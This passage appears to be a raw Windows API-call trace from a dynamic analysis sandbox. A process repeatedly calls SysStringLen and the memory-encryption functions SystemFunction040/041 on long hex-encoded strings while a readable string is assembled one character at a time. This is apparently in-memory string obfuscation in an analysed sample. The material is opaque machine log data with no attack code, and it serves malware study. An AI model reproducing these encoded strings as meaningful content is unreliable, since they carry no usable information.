(param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x7be4\xc189\xe733\x17d\xa245\x256f\xf7f2\xe94f") returned 0x18 [0134.759] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x7be4\xc189\xe733\x17d\xa245\x256f\xf7f2\xe94f") returned 0x18 [0134.759] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.759] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuq☐檤") returned 0x18 [0134.759] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.759] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\xe243\x3907\x80ac\x261e\xf472\x4664\x8114\x6c83") returned 0x18 [0134.759] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\xe243\x3907\x80ac\x261e\xf472\x4664\x8114\x6c83") returned 0x18 [0134.759] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.759] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqI☐檤") returned 0x18 [0134.759] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.759] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4994\xbaac\x137f\xcfe7\x69d3\xc28b\xfcac\x3b1e") returned 0x18 [0134.759] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4994\xbaac\x137f\xcfe7\x69d3\xc28b\xfcac\x3b1e") returned 0x18 [0134.759] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.759] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIq檤") returned 0x18 [0134.759] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.759] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\xe3d7\xd02e\x76c2\xddeb\x5548\xe002\x38a2\xea5b") returned 0x18 [0134.759] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\xe3d7\xd02e\x76c2\xddeb\x5548\xe002\x38a2\xea5b") returned 0x18 [0134.759] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.759] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqy") returned 0x18 [0134.759] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.759] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87") returned 0x18 [0134.759] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87") returned 0x18 [0134.759] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87") returned 0x18 [0134.759] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87") returned 0x20 [0134.760] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.760] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ繎姨䎬벬锳པ") returned 0x20 [0134.760] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.760] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\xf8bc\x19e5\xee74\xf999\x58d3\x1f19\xf00b\x1393") returned 0x20 [0134.760] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\xf8bc\x19e5\xee74\xf999\x58d3\x1f19\xf00b\x1393") returned 0x20 [0134.760] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.760] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ9姨䎬벬锳པ") returned 0x20 [0134.760] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.760] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\xaf02\xb57d\x87ab\xbff2\x941b\x75c4\x51c6\x34bd") returned 0x20 [0134.760] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\xaf02\xb57d\x87ab\xbff2\x941b\x75c4\x51c6\x34bd") returned 0x20 [0134.760] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.760] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ9L䎬벬锳པ") returned 0x20 [0134.760] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.760] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x188a\x542c\xe2ed\xb256\x646e\x3193\xf8a\x9d1d") returned 0x20 [0134.760] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x188a\x542c\xe2ed\xb256\x646e\x3193\xf8a\x9d1d") returned 0x20 [0134.760] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.760] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ9LR䎬벬锳པ") returned 0x20 [0134.760] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.760] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\xe8d8\x9641\x7d21\x74f7\xf42f\x948d\x8fca\xaae5") returned 0x20 [0134.760] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\xe8d8\x9641\x7d21\x74f7\xf42f\x948d\x8fca\xaae5") returned 0x20 [0134.760] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.760] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ9LRz벬锳པ") returned 0x20 [0134.760] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.761] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x97ce\x9661\xe368\x80ea\x167d\x80fd\x5b0f\x7370") returned 0x20 [0134.761] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x97ce\x9661\xe368\x80ea\x167d\x80fd\x5b0f\x7370") returned 0x20 [0134.761] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.761] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ9LRz3锳པ") returned 0x20 [0134.761] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.761] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x6b4d\xca4f\x5104\x9570\xa0c4\xe348\xa233\x1bf1") returned 0x20 [0134.761] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x6b4d\xca4f\x5104\x9570\xa0c4\xe348\xa233\x1bf1") returned 0x20 [0134.761] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.761] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ9LRz3rཔ") returned 0x20 [0134.761] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.761] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\xc783\x86ae\x2387\xd81a\x267d\xa3fc\x65b9\xa874") returned 0x20 [0134.761] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\xc783\x86ae\x2387\xd81a\x267d\xa3fc\x65b9\xa874") returned 0x20 [0134.761] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.761] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ9LRz3rs") returned 0x20 [0134.761] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.761] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3") returned 0x20 [0134.761] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3") returned 0x20 [0134.761] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3") returned 0x20 [0134.761] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x6d\x4a\x6a\x6a\x6a\x2d\x2e\x77") returned 0x28 [0134.761] SystemFunction041 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.761] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ9LRz3rs1좠ྏ➫ﳵ骀") returned 0x28 [0134.761] SystemFunction040 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.762] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\xbb02\x50e1\x2337\xace\x4290\x8a23\x3823\xe431") returned 0x28 [0134.762] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\xbb02\x50e1\x2337\xace\x4290\x8a23\x3823\xe431") returned 0x28 [0134.762] SystemFunction041 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.762] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ9LRz3rs17좠ྏ➫ﳵ骀") returned 0x28 [0134.762] SystemFunction040 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.762] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\xae19\xb62e\xa01e\x39e5\xded8\x1003\x9817\x4ae0") returned 0x28 [0134.762] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\xae19\xb62e\xa01e\x39e5\xded8\x1003\x9817\x4ae0") returned 0x28 [0134.762] SystemFunction041 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.762] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ9LRz3rs17yྏ➫ﳵ骀") returned 0x28 [0134.762] SystemFunction040 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.762] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\xca59\x2824\x1b5d\x236b\x578e\x838a\x52f0\x378c") returned 0x28 [0134.762] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\xca59\x2824\x1b5d\x236b\x578e\x838a\x52f0\x378c") returned 0x28 [0134.762] SystemFunction041 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.762] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ9LRz3rs17ycྏ➫ﳵ骀") returned 0x28 [0134.762] SystemFunction040 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.762] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x57f9\x9857\xe87c\xa4fc\xcb22\xe652\xc1cf\xc7e7") returned 0x28 [0134.762] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x57f9\x9857\xe87c\xa4fc\xcb22\xe652\xc1cf\xc7e7") returned 0x28 [0134.762] SystemFunction041 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.762] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ9LRz3rs17ycJ➫ﳵ骀") returned 0x28 [0134.762] SystemFunction040 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.762] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x6ad8\x741e\x25f1\x2bec\xaaa7\xd2c4\xcc29\x16af") returned 0x28 [0134.763] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x6ad8\x741e\x25f1\x2bec\xaaa7\xd2c4\xcc29\x16af") returned 0x28 [0134.763] SystemFunction041 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.763] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ9LRz3rs17ycJoﳵ骀") returned 0x28 [0134.763] SystemFunction040 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.763] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x7e07\x6527\xe426\xb005\x82e6\x3d57\x318f\xa90a") returned 0x28 [0134.763] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x7e07\x6527\xe426\xb005\x82e6\x3d57\x318f\xa90a") returned 0x28 [0134.763] SystemFunction041 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.763] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ9LRz3rs17ycJoM骀") returned 0x28 [0134.763] SystemFunction040 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.763] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x41f5\xc8e\x75b1\x1052\xcae0\xe83a\xf02\xbe8f") returned 0x28 [0134.763] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x41f5\xc8e\x75b1\x1052\xcae0\xe83a\xf02\xbe8f") returned 0x28 [0134.763] SystemFunction041 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.763] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ9LRz3rs17ycJoMv") returned 0x28 [0134.763] SystemFunction040 (in: Memory=0x4383094, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383094) returned 0x0 [0134.763] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x385\x3f4d\x7daf\x7d92\x3865\x81b9\xe15c\x6642") returned 0x28 [0134.763] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x385\x3f4d\x7daf\x7d92\x3865\x81b9\xe15c\x6642") returned 0x28 [0134.763] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x385\x3f4d\x7daf\x7d92\x3865\x81b9\xe15c\x6642") returned 0x28 [0134.763] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x385\x3f4d\x7daf\x7d92\x3865\x81b9\xe15c\x6642\x64\x7a\x41\x75\x5a\x6b\x48\x33") returned 0x30 [0134.763] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0134.763] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ9LRz3rs17ycJoMv8劜䨼᥎뵐島ᩤӰ") returned 0x30 [0134.763] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0134.764] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x385\x3f4d\x7daf\x7d92\x3865\x81b9\xe15c\x6642\x7b51\xdf2b\x2e24\xb622\x43b0\x2f65\x93e8\xebca") returned 0x30 [0134.764] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x385\x3f4d\x7daf\x7d92\x3865\x81b9\xe15c\x6642\x7b51\xdf2b\x2e24\xb622\x43b0\x2f65\x93e8\xebca") returned 0x30 [0134.764] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0134.764] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ9LRz3rs17ycJoMv8x䨼᥎뵐島ᩤӰ") returned 0x30 [0134.764] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0134.764] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x385\x3f4d\x7daf\x7d92\x3865\x81b9\xe15c\x6642\xcb9f\x38e3\x3821\x4fb3\xc123\x336a\x8a0c\x850c") returned 0x30 [0134.764] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x385\x3f4d\x7daf\x7d92\x3865\x81b9\xe15c\x6642\xcb9f\x38e3\x3821\x4fb3\xc123\x336a\x8a0c\x850c") returned 0x30 [0134.764] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0134.764] SysStringLen (param_1="5Q7FXmsHrHSwNnYlRicuqIqyJ9LRz3rs17ycJoMv8xs᥎뵐島ᩤӰ") returned 0x30 [0134.764] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0134.764] SysStringLen (param_1="\x24ad\x37a9\xc41b\x5e57\xbeb5\xb663\xc4b\x4467\xf59e\xa845\x4dc2\x38df\x179f\xca07\x63eb\x5a77\x4b08\x7e64\x2aa0\xebae\x876c\xa839\xd0c8\x3f87\x5515\xa402\x4cb7\xc9d6\xa222\xd937\xb271\x7da3\x385\x3f4d\x7daf\x7d92\x3865\x81b9\xe15c\x6642\xe749\xa155\x7641\x4596\x2602\x8e5e\xa7f7\x758b") returned 0x30 [0134.764] SysStringLen 